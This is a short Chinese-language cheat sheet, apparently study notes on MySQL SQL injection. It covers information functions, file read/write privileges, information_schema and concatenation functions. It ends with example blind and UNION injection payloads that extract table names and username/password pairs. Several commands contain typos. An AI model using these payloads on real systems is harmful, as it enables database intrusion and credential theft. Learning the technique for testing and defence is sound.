mysql
show dtabase;
use mysql;
show mysql;
函数/语句 功能
user() 当前用户名
database() 当前所用数据库
current_user() 当前用户名(可用来查看权限)
version() 数据库的版本
@@datadir 数据库的路径读文件操作
Into outfile() / into dumpfile
写文件操作
查看数据库是否开启导入导出
show variables 1ike “secure_file_priv”;
查看当前数据库用户
select currert__user();
t查看当前用户是否具有文件读写权限
select File_priv from nmysq1.user where user='root’and host=‘1ocalhost’;
ecure.file_.prive参数的设置 含义
secure .file_prive=null 限制mysqld不允许导入导出
secure…file.priv=/tmp/ 限制mysqld的导入导出只能发生在/tmp/目录下
secure .file .priv=’ ’ 不对mysqld的导入导出做限
制
字符串连接函数
concat(str1,str2…) 函数直接连接
group_concat(str,str2) 函数使用逗号做为分隔符
concat_ws(sep,str1,str2…) 函数使用第一个参数做为分隔符
information schema
information_schema
schemata 所有数据库的名字
schema_name 数据库名
tables它所有表的名字
table_schema 表所属数据库的名字
table_name 表的名字
columms 所有字段的名字
table_schema 字段所属数据库的名字
table_name 字段所属表的名字
column_name 字段的名字
例子
If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 --+
union select 1,group_concat(username,0x3a,password) from users – +
union select 1,(select group_concat(id,0x7e,username,0x7e,password) from users) – +